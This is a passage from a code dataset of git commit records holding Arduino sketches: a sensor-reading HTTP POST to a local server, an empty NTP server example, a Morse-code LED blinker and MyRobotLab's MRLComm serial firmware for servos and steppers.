\"\\\",\\\"source\\\":\\\"deck-arduino\\\"}\");\n}\n\nvoid sendData(String msg) {\n\n Serial.println(msg);\n Serial.println();\n\n\tuint32_t ip = 0;\n\n\tip = cc3000.IP2U32(192, 168, 1, 65);\n\n\t\/\/ Serial.print(F(\"\\n\\rConnecting... \")); cc3000.printIPdotsRev(ip); Serial.print(\"...\"); \n\n\tAdafruit_CC3000_Client www = cc3000.connectTCP(ip, REST_SERVER_PORT);\n if (www.connected()) {\n \/\/ headers\n www.fastrprint(F(\"POST \")); www.fastrprint(F(\"\/1\/reading\")); www.fastrprint(F(\" HTTP\/1.1\\r\\n\"));\n www.fastrprint(F(\"Host: firefly:9000\\r\\n\"));\n www.fastrprint(F(\"Content-Type: application\/json\\r\\n\"));\n www.fastrprint(F(\"Cache-Control: no-cache\\r\\n\"));\n www.fastrprint(F(\"Content-Length: \"));\n www.print(msg.length());\n www.fastrprint(F(\"\\r\\n\"));\n www.fastrprint(F(\"Connection: close\\r\\n\"));\n www.fastrprint(F(\"\\r\\n\"));\n\n \/\/ body\n www.print(msg);\n www.fastrprint(F(\"\\r\\n\"));\n www.println(); \n \n Serial.println();\n } else {\n Serial.println(F(\"\\r\\nConnection failed\\r\\n\")); \n return;\n }\n \n unsigned long lastRead = millis();\n while (www.connected() && (millis() - lastRead < IDLE_TIMEOUT_MS)) {\n while (www.available()) {\n char c = www.read();\n Serial.print(c);\n lastRead = millis();\n }\n }\n \n \/\/ Serial.println(F(\"\\r\\n-------------------------------------\\r\\n\\r\\n\"));\n\n \n \/* You need to make sure to clean up after yourself or the CC3000 can freak out *\/\n \/* the next time your try to connect ... *\/\n www.close();\n \/\/ Serial.println(F(\"-------------------------------------\"));\n \/\/ Serial.println(F(\"\\n\\nDisconnecting\"));\n \/\/ cc3000.disconnect();\n}\n\/\/28358\n\/\/26186","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/deck-arduino\/deck-arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fc52e711605f563ad3331afbb903a80afc29d665","subject":"sample file","message":"sample file\n","repos":"mgi2212\/NtpServer,mgi2212\/NtpServer","old_file":"examples\/basic\/basic.ino","new_file":"examples\/basic\/basic.ino","new_contents":"#include <ITimeSource .h>\n#include <NtpPacket.h>\n#include <NtpServer.h>\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/basic\/basic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"56ed0535d6cc7d160030adbacfed3daa890ec34d","subject":"Here goes Morse Advanced...","message":"Here goes Morse Advanced...\n","repos":"bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013","old_file":"people\/abrahamavnisan\/Week4\/Arduino\/MorseAdvanced.ino","new_file":"people\/abrahamavnisan\/Week4\/Arduino\/MorseAdvanced.ino","new_contents":"\/*\n Morse Advanced\n Input any phrase, translate it to International Morse code (American is obsolete \n so I figured I'd just go with International), and output to LED. My Morse Code\n reference: http:\/\/en.wikipedia.org\/wiki\/Morse_code\n *\/\n \n\/\/ Set time unit, dit and dah... (in mS)\nint time_unit = 150; \/\/don't really need this but it's a bit more elegant this way I think\nint dit = time_unit;\nint dah = time_unit*3;\n\n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name) {\nint led = 13;\n\n\/\/ Set Phrase to 'translate'\n\/\/ only use all caps and no punctuation (because I'm lazy);\nchar myPhrase[ ] = \"WHAT HATH GOD WROUGHT\";\nint loopA; \/\/ counters for the various loops\nint loopB;\nint loopC;\nint repeat_dot; \/\/ counters for dot and dash repetitions\nint repeat_dash;\nchar x; \/\/ this stores the *next* character in the string, to determine how long of a gap\n\nvoid setup() { \n \/\/ initialize the digital pin as an output.\n Serial.begin(9600);\n pinMode(led, OUTPUT); \n}\n\nvoid loop() {\n Serial.print(\"TOP OF LOOP \\n\");\n loopA = 0;\n while (loopA < sizeof(myPhrase)+1) {\n Serial.println(\"Loop number \"); \/\/ All serial.print functions are for debugging in the serial monitor\n Serial.print(loopA);\n Serial.print(\"\\n Character in this loop: \");\n Serial.print(myPhrase[loopA]);\n if (myPhrase[loopA]!=' ') { \/\/ So that functions morse and gap to run for spaces between words\n morse(myPhrase[loopA]);\n gap(myPhrase[loopA+1]);\n }\n loopA++;\n } \n}\n\nvoid dot(int repeat_dot) {\n for (loopB = 0; loopB < repeat_dot; loopB++) {\n Serial.println(\"dot\");\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led,LOW);\n delay(dit);\n }\n}\n\nvoid dash(int repeat_dash) {\n for (loopC = 0; loopC < repeat_dash; loopC++) {\n Serial.println(\"dash\");\n digitalWrite(led,HIGH);\n delay(dah);\n digitalWrite(led,LOW);\n delay(dit);\n }\n}\n\nvoid gap(char x) {\n Serial.println(\"function gap called\");\n if (x==' ') {\n delay(time_unit*6); \/\/ six not seven because one time_unit delay is build into the dash and dot functions\n Serial.println(\"delay seven\");\n }\n else if (x=='\\0') { \/\/ delay for end of phrase\n delay(time_unit*9);\n Serial.println(\"delay nine\");\n }\n else {\n Serial.println(\"delay three\");\n delay(time_unit*2); \/\/only two since one time_unit delay is built in to the dash and dot functions\n }\n}\n \nvoid morse(char x) {\n Serial.println(\"\\n function morse called\");\n if (x=='A') {\n dot(1);\n dash(1);\n }\n else if (x=='B') {\n dash(1);\n dot(3);\n }\n else if (x=='C') {\n dash(1);\n dot(1);\n dash(1);\n dot(1);\n }\n else if (x=='D') {\n dash(1);\n dot(2);\n }\n else if (x=='E') {\n dot(1);\n }\n else if (x=='F') {\n dot(2);\n dash(1);\n dot(1);\n }\n else if (x=='G') {\n dash(2);\n dot(1);\n }\n else if (x=='H') {\n dot(4);\n }\n else if (x=='I') {\n dot(2);\n }\n else if (x=='J') {\n dot(1);\n dash(3);\n }\n else if (x=='K') {\n dash(1);\n dot(1);\n dash(1);\n }\n else if (x=='L') {\n dot(1);\n dash(1);\n dot(2);\n }\n else if (x=='M') {\n dash(2);\n }\n else if (x=='N') {\n dash(1);\n dot(1);\n }\n else if (x=='O') {\n dash(3);\n }\n else if (x=='P') {\n dot(1);\n dash(2);\n dot(1);\n }\n else if (x=='Q') {\n dash(2);\n dot(1);\n dash(1);\n }\n else if (x=='R') {\n dot(1);\n dash(1);\n dot(1);\n }\n else if (x=='S') {\n dot(3);\n }\n else if (x=='T') {\n dash(1);\n }\n else if (x=='U') {\n dot(2);\n dash(1);\n }\n else if (x=='V') {\n dot(3);\n dash(1);\n }\n else if (x=='W') {\n dot(1);\n dash(2);\n }\n else if (x=='X') {\n dash(1);\n dot(2);\n dash(1);\n }\n else if (x=='Y') {\n dash(1);\n dot(1);\n dash(2);\n }\n else if (x=='Z') {\n dash(2);\n dot(2);\n }\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'people\/abrahamavnisan\/Week4\/Arduino\/MorseAdvanced.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4503c9d56999489a01aa36372fb776140a5be370","subject":"Create MRLCommOculus4.ino","message":"Create MRLCommOculus4.ino","repos":"MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab","old_file":"home\/Alessandruino\/MRLCommOculus4.ino","new_file":"home\/Alessandruino\/MRLCommOculus4.ino","new_contents":"\/**\n*\n* @author GroG (at) myrobotlab.org\n*\n* This file is part of MyRobotLab.\n*\n* Enjoy !\n*\n* MRLComm.ino\n* -----------------\n* Purpose: support servos, sensors, analog & digital polling\n* oscope, motors, range sensors, pingdar & steppers.\n*\n* Requirements: MyRobotLab running on a computer & a serial connection\n*\n* FIXME - find \"easiest\" way to upload a single hex file !!! command line example\n* perhaps avrdude ?\n*\n*\/\n\n#include <Servo.h>\n#define MRLCOMM_VERSION\t\t\t\t24\n\n\/\/ serial protocol functions\n#define MAGIC_NUMBER \t\t\t\t\t170 \/\/ 10101010\n\n\/\/ ----- MRLCOMM FUNCTION GENERATED INTERFACE BEGIN -----------\n\/\/\/\/\/ INO GENERATED DEFINITION BEGIN \/\/\/\/\/\/\n\/\/ {publishMRLCommError Integer}\n#define PUBLISH_MRLCOMM_ERROR\t\t1\n\n\/\/ {getVersion}\n#define GET_VERSION\t\t2\n\n\/\/ {publishVersion Integer}\n#define PUBLISH_VERSION\t\t3\n\n\/\/ {analogReadPollingStart Integer}\n#define ANALOG_READ_POLLING_START\t\t4\n\n\/\/ {analogReadPollingStop Integer}\n#define ANALOG_READ_POLLING_STOP\t\t5\n\n\/\/ {analogWrite Integer Integer}\n#define ANALOG_WRITE\t\t6\n\n\/\/ {digitalReadPollingStart Integer}\n#define DIGITAL_READ_POLLING_START\t\t7\n\n\/\/ {digitalReadPollingStop Integer}\n#define DIGITAL_READ_POLLING_STOP\t\t8\n\n\/\/ {digitalWrite Integer Integer}\n#define DIGITAL_WRITE\t\t9\n\n\/\/ {motorAttach String String Integer Integer Integer}\n#define MOTOR_ATTACH\t\t10\n\n\/\/ {motorDetach String}\n#define MOTOR_DETACH\t\t11\n\n\/\/ {motorMove String}\n#define MOTOR_MOVE\t\t12\n\n\/\/ {motorMoveTo String double}\n#define MOTOR_MOVE_TO\t\t13\n\n\/\/ {pinMode Integer Integer}\n#define PIN_MODE\t\t14\n\n\/\/ {publishCustomMsg Object[]}\n#define PUBLISH_CUSTOM_MSG\t\t15\n\n\/\/ {publishLoadTimingEvent Long}\n#define PUBLISH_LOAD_TIMING_EVENT\t\t16\n\n\/\/ {publishPin Pin}\n#define PUBLISH_PIN\t\t17\n\n\/\/ {publishPulse Integer}\n#define PUBLISH_PULSE\t\t18\n\n\/\/ {publishSensorData SensorData}\n#define PUBLISH_SENSOR_DATA\t\t19\n\n\/\/ {publishServoEvent Integer}\n#define PUBLISH_SERVO_EVENT\t\t20\n\n\/\/ {publishStepperEvent Integer}\n#define PUBLISH_STEPPER_EVENT\t\t21\n\n\/\/ {publishTrigger Pin}\n#define PUBLISH_TRIGGER\t\t22\n\n\/\/ {pulseIn int int int String}\n#define PULSE_IN\t\t23\n\n\/\/ {sensorAttach String}\n#define SENSOR_ATTACH\t\t24\n\n\/\/ {sensorPollingStart String int}\n#define SENSOR_POLLING_START\t\t25\n\n\/\/ {sensorPollingStop String}\n#define SENSOR_POLLING_STOP\t\t26\n\n\/\/ {servoAttach String Integer}\n#define SERVO_ATTACH\t\t27\n\n\/\/ {servoDetach Servo}\n#define SERVO_DETACH\t\t28\n\n\/\/ {servoSweepStart String int int int}\n#define SERVO_SWEEP_START\t\t29\n\n\/\/ {servoSweepStop String}\n#define SERVO_SWEEP_STOP\t\t30\n\n\/\/ {servoWrite String Integer}\n#define SERVO_WRITE\t\t31\n\n\/\/ {servoWriteMicroseconds String Integer}\n#define SERVO_WRITE_MICROSECONDS\t\t32\n\n\/\/ {setDebounce int}\n#define SET_DEBOUNCE\t\t33\n\n\/\/ {setDigitalTriggerOnly Boolean}\n#define SET_DIGITAL_TRIGGER_ONLY\t\t34\n\n\/\/ {setLoadTimingEnabled boolean}\n#define SET_LOAD_TIMING_ENABLED\t\t35\n\n\/\/ {setPWMFrequency Integer Integer}\n#define SET_PWMFREQUENCY\t\t36\n\n\/\/ {setSampleRate int}\n#define SET_SAMPLE_RATE\t\t37\n\n\/\/ {setSerialRate int}\n#define SET_SERIAL_RATE\t\t38\n\n\/\/ {setServoEventsEnabled String boolean}\n#define SET_SERVO_EVENTS_ENABLED\t\t39\n\n\/\/ {setServoSpeed String Float}\n#define SET_SERVO_SPEED\t\t40\n\n\/\/ {setStepperSpeed Integer}\n#define SET_STEPPER_SPEED\t\t41\n\n\/\/ {setTrigger int int int}\n#define SET_TRIGGER\t\t42\n\n\/\/ {softReset}\n#define SOFT_RESET\t\t43\n\n\/\/ {stepperAttach Stepper}\n#define STEPPER_ATTACH\t\t44\n\n\/\/ {stepperDetach String}\n#define STEPPER_DETACH\t\t45\n\n\/\/ {stepperMoveTo String int int}\n#define STEPPER_MOVE_TO\t\t46\n\n\/\/ {stepperReset String}\n#define STEPPER_RESET\t\t47\n\n\/\/ {stepperStop String}\n#define STEPPER_STOP\t\t48\n\n\/\/ {stopService}\n#define STOP_SERVICE\t\t49\n\n\/\/\/\/\/ INO GENERATED DEFINITION END \/\/\/\/\/\/\n\n\/\/ ----- MRLCOMM FUNCTION GENERATED INTERFACE END -----------\n\n#define STEPPER_TYPE_SIMPLE \t\t\t1\n\n\/\/ ------ event types ------\n#define STEPPER_EVENT_STOP\t\t\t\t1\n#define STEPPER_EVENT_STEP\t\t\t\t2\n\n\/\/ servo event types\n#define SERVO_EVENT_STOPPED\t\t\t1\n#define SERVO_EVENT_POSITION_UPDATE \t2\n\n\/\/ error types\n#define ERROR_SERIAL\t\t\t\t\t1\n#define ERROR_UNKOWN_CMD\t\t\t\t2\n#define ERROR_ALREADY_EXISTS\t\t\t3\n#define ERROR_DOES_NOT_EXIST\t\t\t4\n\n\/\/ ------ error types ------\n#define SENSOR_ULTRASONIC\t\t\t\t1\n\n#define CUSTOM_MSG\t\t\t\t\t\t50\n\n\/\/ need a method to identify type of board\n\/\/ http:\/\/forum.arduino.cc\/index.php?topic=100557.0\n\n#define COMMUNICATION_RESET\t 252\n#define SOFT_RESET\t\t\t 253\n#define NOP \t\t\t\t 255\n\n\/\/ ---------- MRLCOMM FUNCTION INTERFACE END -----------\n\n\/\/ MAX definitions\n\/\/ MAX_SERVOS defined by boardtype\/library\n#define PINGDARS_MAX\t\t6\n#define SENSORS_MAX\t\t\t12\n#define STEPPERS_MAX\t\t6\n\n#define MAX_MOTORS 10\n\n#define ECHO_STATE_START 1\n#define ECHO_STATE_TRIG_PULSE_BEGIN 2\n#define ECHO_STATE_TRIG_PULSE_END 3\n#define ECHO_STATE_MIN_PAUSE_PRE_LISTENING 4\n#define ECHO_STATE_LISTENING 5\n#define ECHO_STATE_GOOD_RANGE\t6\n#define ECHO_STATE_TIMEOUT\t7\n\n\/\/ --VENDOR DEFINE SECTION BEGIN--\n\/\/ --VENDOR DEFINE SECTION END--\n\n\/\/ FIXME FIXME FIXME\n\/\/ -- FIXME - modified by board type BEGIN --\n\/\/ Need Arduino to do a hardware abstraction layer\n\/\/ https:\/\/code.google.com\/p\/arduino\/issues\/detail?id=59\n\/\/ AHAAA !! - many defintions in - pins_arduino.h !!!\n\/\/ Need a \"board\" identifier at least !!!\n\n#define ANALOG_PIN_COUNT 16 \/\/ mega\n#define DIGITAL_PIN_COUNT 54 \/\/ mega\n\/\/ #define MAX_SERVOS 48 - is defined @ compile time !!\n\/\/ -- FIXME - modified by board type END --\n\n#define ARDUINO_TYPE_INT 16; \/\/ :) type identifier - not size - but what the hell ;)\n\n\/*\n* TODO - CRC for last byte\n* getCommand - retrieves a command message\n* inbound and outbound messages are the same format, the following represents a basic message\n* format\n*\n* MAGIC_NUMBER|NUM_BYTES|FUNCTION|DATA0|DATA1|....|DATA(N)\n* NUM_BYTES - is the number of bytes after NUM_BYTES to the end\n*\n*\/\n\nint msgSize = 0; \/\/ the NUM_BYTES of current message\n\nunsigned int debounceDelay = 50; \/\/ in ms\nlong lastDebounceTime[DIGITAL_PIN_COUNT];\nbyte msgBuf[64];\n\ntypedef struct\n {\n int type;\n int trigPin;\n int echoPin;\n bool isRunning;\n int timeoutUS;\n unsigned long ts;\n unsigned long lastValue;\n int state;\n \/\/NewPing* ping;\n } sensor_type;\n\nsensor_type sensors[SENSORS_MAX];\n\ntypedef struct\n {\n \t int ts;\n int type;\n int index; \/\/ is this redundant?\n int currentPos;\n int targetPos;\n int speed;\n\n int dirPin;\n int stepPin;\n\n\t \/\/ support up to 5 wire steppers\n int pin0;\n int pin1;\n int pin2;\n int pin3;\n int pin4;\n\n } stepper_type;\n\nstepper_type steppers[STEPPERS_MAX];\n\n\/\/ Servos\ntypedef struct\n{\n Servo* servo;\n int index; \/\/ index of this servo\n int speed;\n int targetPos;\n int currentPos;\n bool isMoving;\n\n int step; \/\/ affects speed usually 1\n\n \/\/ sweep related\n int min;\n int max;\n \/\/ int delay; - related to speed\n int increment;\n bool isSweeping;\n\n \/\/ event related\n bool eventsEnabled;\n} servo_type;\n\n\nservo_type servos[MAX_SERVOS];\n\n\/\/ Motors\ntypedef struct\n{\n int index; \/\/ index of this motor\n int speed;\n int targetPos;\n int currentPos;\n bool isMoving;\n\n int step; \/\/ affects speed usually 1\n\n \/\/ sweep related\n int min;\n int max;\n \/\/ int delay; - related to speed\n int increment;\n bool isSweeping;\n\n \/\/ event related\n bool eventsEnabled;\n} motor_type;\n\nmotor_type motors[MAX_MOTORS];\n\nunsigned long loopCount = 0;\nunsigned long lastMicros \t= 0;\nint byteCount = 0;\nunsigned char newByte \t\t= 0;\nunsigned char ioCmd[64]; \/\/ message buffer for all inbound messages\nint readValue;\n\n\/\/ FIXME - normalize with sampleRate ..\nint loadTimingModulus = 1000;\n\nboolean loadTimingEnabled = false;\nunsigned long loadTime = 0;\n\/\/ TODO - avg load time\n\nunsigned int sampleRate = 1; \/\/ 1 - 65,535 modulus of the loopcount - allowing you to sample less\n\nint digitalReadPin[DIGITAL_PIN_COUNT]; \/\/ array of pins to read from\nint digitalReadPollingPinCount = 0; \/\/ number of pins currently reading\nint lastDigitalInputValue[DIGITAL_PIN_COUNT]; \/\/ array of last input values\nbool digitalTriggerOnly\t= false; \/\/ send data back only if its different\n\nint analogReadPin[ANALOG_PIN_COUNT]; \/\/ array of pins to read from\nint analogReadPollingPinCount = 0; \/\/ number of pins currently reading\nint lastAnalogInputValue[ANALOG_PIN_COUNT]; \/\/ array of last input values\nbool analogTriggerOnly = false; \/\/ send data back only if its different\n\n\/\/---- data record definitions begin -----\n\n\n\/\/ TODO - all well and good .. but you dont control Servo's data (yet)\n\/\/ should have a struct for it too - contains all the data info you'd want to have\n\/\/ in a servo - same with stepper\n\ntypedef struct\n {\n int servoIndex; \/\/ id of servo in servos array\n \/\/int servoPos; in servo\n int sensorIndex;\n int sweepMin;\n int sweepMax;\n int step;\n bool isRunning; \/\/ needed ? - is combo of two\n } pingdar_type;\n\npingdar_type pingdars[PINGDARS_MAX];\n\/\/===custom msg interface begin===\n\tbyte customParams[256];\n\tint paramBuffIndex;\n\tint paramCnt;\n\/\/===custom msg interface end===\n\nvoid sendServoEvent(servo_type& s, int eventType);\nvoid sendStepperEvent(stepper_type& s, int eventType);\nunsigned long getUltrasonicRange(sensor_type& sensor);\n\/\/ void sendMsg ( int num, ... );\n\n\/\/---- data record definitions end -----\n\nvoid append(const int& data) {\n\t++paramCnt;\n\tcustomParams[paramBuffIndex] = ARDUINO_TYPE_INT;\n\tcustomParams[++paramBuffIndex] = (byte)(data >> 8);\n\tcustomParams[++paramBuffIndex] = ((byte) data & 0xff);\n\t++paramBuffIndex;\n}\n\nvoid startMsg() {\n}\n\nvoid setup() {\n\tSerial.begin(57600); \/\/ connect to the serial port\n\n\tsoftReset();\n\n\t\/\/ --VENDOR SETUP BEGIN--\n\t\/\/ --VENDOR SETUP END--\n}\n\n\nvoid sendMsg(){\n\n\t\/\/ unbox\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(paramBuffIndex + 2); \/\/ = param buff size + FN + paramCnt\n\t\/\/Serial.write(2); \/\/ = param buff size + FN + paramCnt\n\tSerial.write(CUSTOM_MSG);\n\tSerial.write(paramCnt);\n\n\tfor (int i = 0; i < paramBuffIndex; ++i){\n\t\tSerial.write(customParams[i]);\n\t}\n\n\tparamCnt = 0;\n\tparamBuffIndex = 0;\n}\n\n\n\nvoid softReset()\n{\n\tfor (int i = 0; i < MAX_SERVOS - 1; ++i)\n\t{\n servo_type& s = servos[i];\n\t\ts.speed = 100;\n if (s.servo != 0){\n\t\t s.servo->detach();\n }\n\t}\n\n\tfor (int j = 0; j < DIGITAL_PIN_COUNT - 1; ++j)\n\t{\n\t\tpinMode(j, OUTPUT);\n\t}\n\n\n\tdigitalReadPollingPinCount = 0;\n\tanalogReadPollingPinCount = 0;\n\tloopCount = 0;\n\n}\n\nvoid setPWMFrequency (int address, int prescalar)\n{\n\tint clearBits = 0x07;\n\tif (address == 0x25)\n\t{\n\t\tTCCR0B &= ~clearBits;\n\t\tTCCR0B |= prescalar;\n\t} else if (address == 0x2E)\n\t{\n\t\tTCCR1B &= ~clearBits;\n\t\tTCCR1B |= prescalar;\n\t} else if (address == 0xA1)\n\t{\n\t\tTCCR2B &= ~clearBits;\n\t\tTCCR2B |= prescalar;\n\t}\n\n}\n\n\/**\n * checks the existance of the searched value in the array\n * - good for not adding to a dynamic list of values if it\n * already exists\n *\/\nbool exists(int array[], int len, int searchValue){\n\tfor (int i = 0; i < len; ++i)\n\t{\n\t\tif (searchValue == array[i])\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\n\/**\n * adds new value to a pseudo dynamic array\/list\n * if successful - if value already exists on list\n * sends back an error\n *\/\nbool addNewValue(int array[], int& len, int addValue)\n{\n\tif (!exists(array, len, addValue)){\n\t\tarray[len] = addValue;\n\t\t++len;\n\t\treturn true;\n\t} else {\n\t\tsendError(ERROR_ALREADY_EXISTS);\n\t\treturn false;\n\t}\n}\n\n\nbool removeAndShift (int array [], int& len, int removeValue)\n{\n\tif (!exists(array, len, removeValue)){\n\t\tsendError(ERROR_DOES_NOT_EXIST);\n\t\treturn false;\n\t}\n\n\tint pos = -1;\n\n\tif (len == 0)\n\t{\n\t\t\/\/ \"should\" never happen\n\t\t\/\/ would be calling remove on an empty list\n\t\t\/\/ the error ERROR_DOES_NOT_EXIST - \"should\" be called\n\t\treturn true;\n\t}\n\n\t\/\/ find position of value\n\tfor (int i = 0; i < len; ++i)\n\t{\n\t\tif (removeValue == array[i])\n\t\t{\n\t\t\tpos = i;\n\t\t\tbreak;\n\t\t}\n\t}\n\t\/\/ if at the end just decrement size\n\tif (pos == len - 1)\n\t{\n\t\t--len;\n\t\treturn true;\n\t}\n\n\t\/\/ if found somewhere else shift left\n\tif (pos < len && pos > -1)\n\t{\n\t\tfor (int j = pos; j < len - 1; ++j)\n\t\t{\n\t\t\tarray[j] = array[j+1];\n\t\t}\n\t\t--len;\n\t}\n\n\treturn true;\n}\n\nboolean getCommand ()\n{\n\t\/\/ handle serial data begin\n\tif (Serial.available() > 0)\n\t{\n\t\t\/\/ read the incoming byte:\n\t\tnewByte = Serial.read();\n\t\t++byteCount;\n\n\t\t\/\/ checking first byte - beginning of message?\n\t\tif (byteCount == 1 && newByte != MAGIC_NUMBER)\n\t\t{\n\t\t\tsendError(ERROR_SERIAL);\n\n\t\t\t\/\/ reset - try again\n\t\t\tbyteCount = 0;\n\t\t\treturn false;\n\t\t}\n\n\t\tif (byteCount == 2)\n\t\t{\n\t\t \/\/ get the size of message\n\t\t \/\/ todo check msg < 64 (MAX_MSG_SIZE)\n\t\t msgSize = newByte;\n\t\t}\n\n\t\tif (byteCount > 2) {\n\t\t \/\/ fill in msg data - (2) headbytes -1 (offset)\n\t\t ioCmd[byteCount - 3] = newByte;\n\t\t}\n\n\t\t\/\/ if received header + msg\n\t\tif (byteCount == 2 + msgSize)\n\t\t{\n return true;\n\t\t}\n\t} \/\/ if Serial.available\n\n\treturn false;\n}\n\nvoid loop () {\n\n\t++loopCount;\n\n\tif (getCommand())\n\t{\n\t\tswitch (ioCmd[0])\n\t\t{\n\n\t\tcase DIGITAL_WRITE:{\n\t\t\tdigitalWrite(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_WRITE:{\n\t\t\tanalogWrite(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase PIN_MODE:{\n\t\t\tpinMode(ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_ATTACH:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.index = ioCmd[1];\n\t\t\tif (s.servo == NULL){\n\t\t\t\ts.servo = new Servo();\n\t\t\t}\n\t\t\ts.servo->attach(ioCmd[2]);\n\t\t\ts.step = 1;\n\t\t\ts.eventsEnabled = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_SWEEP_START:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.min = ioCmd[2];\n\t\t\ts.max = ioCmd[3];\n\t\t\ts.step = ioCmd[4];\n\t\t\ts.isMoving = true;\n\t\t\ts.isSweeping = true;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_SWEEP_STOP:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.isMoving = false;\n\t\t\ts.isSweeping = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_WRITE:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.speed == 100 && s.servo != 0)\/\/ move at regular\/full 100% speed\n\t\t\t{\n\t\t\t\ts.targetPos = ioCmd[2];\n\t\t\t\ts.currentPos = ioCmd[2];\n\t\t\t\ts.isMoving = false;\n\t\t\t\ts.servo->write(ioCmd[2]);\n\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_STOPPED);\n\t\t\t} else if (s.speed < 100 && s.speed > 0) {\n\t\t\t\ts.targetPos = ioCmd[2];\n\t\t\t\ts.isMoving = true;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase PUBLISH_SERVO_EVENT:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\ts.eventsEnabled = ioCmd[2];\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_LOAD_TIMING_ENABLED:{\n\t\t\tloadTimingEnabled = ioCmd[1];\n\t\t\t\/\/loadTimingModulus = ioCmd[2];\n\t\t\tloadTimingModulus = 1000;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_WRITE_MICROSECONDS:{\n\t\t\t\/\/ TODO - incorporate into speed control etc\n\t\t\t\/\/ normalize - currently by itself doesn't effect events\n\t\t\t\/\/ nor is it involved in speed control\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.servo != 0) {\n\t\t\t\t\/\/ 1500 midpoint\n\t\t\t\ts.servo->writeMicroseconds(ioCmd[2]);\n\t\t\t}\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_SERVO_SPEED:{\n\t\t\t\/\/ setting the speed of a servo\n\t\t\tservo_type& servo = servos[ioCmd[1]];\n\t\t\tservo.speed = ioCmd[2];\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SERVO_DETACH:{\n\t\t\tservo_type& s = servos[ioCmd[1]];\n\t\t\tif (s.servo != 0){\n\t\t\t s.servo->detach();\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_PWMFREQUENCY:{\n\t\t\tsetPWMFrequency (ioCmd[1], ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_READ_POLLING_START:{\n\t\t\tint pin = ioCmd[1];\n\t\t\taddNewValue(analogReadPin, analogReadPollingPinCount, pin);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase ANALOG_READ_POLLING_STOP:{\n\t\t\tint pin = ioCmd[1];\n\t\t\tremoveAndShift(analogReadPin, analogReadPollingPinCount, pin);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase DIGITAL_READ_POLLING_START:{\n\t\t\tint pin = ioCmd[1];\n\t\t\taddNewValue(digitalReadPin, digitalReadPollingPinCount, pin);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase DIGITAL_READ_POLLING_STOP:{\n\t\t\tint pin = ioCmd[1];\n\t\t\tremoveAndShift(digitalReadPin, digitalReadPollingPinCount, pin);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_TRIGGER:{\n \/\/ FIXME !!! - you need 1. a complete pin list !!! analog & digital should be defined by attribute not\n \/\/ data structure !!! if (pin.type == ??? if needed\n\t\t\t\/\/ TODO - if POLLING ALREADY DON'T RE-ADD - MAKE RE-ENTRANT\n\t\t\tanalogReadPin[analogReadPollingPinCount] = ioCmd[1]; \/\/ put on polling read list\n\t\t\t++analogReadPollingPinCount;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_DEBOUNCE:{\n\t\t\t\/\/ default debounceDelay = 50;\n\t\t\tdebounceDelay = ((ioCmd[1]<<8) + ioCmd[2]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_DIGITAL_TRIGGER_ONLY:{\n\t\t\tdigitalTriggerOnly = ioCmd[1];\n\t\t\tbreak;\n }\n\n\t\tcase SET_SERIAL_RATE:\n\t\t{\n\t\t\tSerial.end();\n\t\t\tdelay(500);\n\t\t\tSerial.begin(ioCmd[1]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase GET_VERSION:{\n\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\tSerial.write(2); \/\/ size\n\t\t\tSerial.write(PUBLISH_VERSION);\n\t\t\tSerial.write((byte)MRLCOMM_VERSION);\n\t\t\tbreak;\n\t\t\t}\n\n\t\tcase PULSE_IN: {\n\t\t \/\/ might need to hack the pulseIn lib - but would\n\t\t \/\/ like to do it without delay\n\t\t\t\/\/ http:\/\/arduino.cc\/en\/Tutorial\/BlinkWithoutDelay\n\t\t\tint trigPin = ioCmd[1];\n\t\t\tint echoPin = ioCmd[2];\n\t\t\t\/\/ TODO - implement HI\/LOW value & timeout & variable delay for 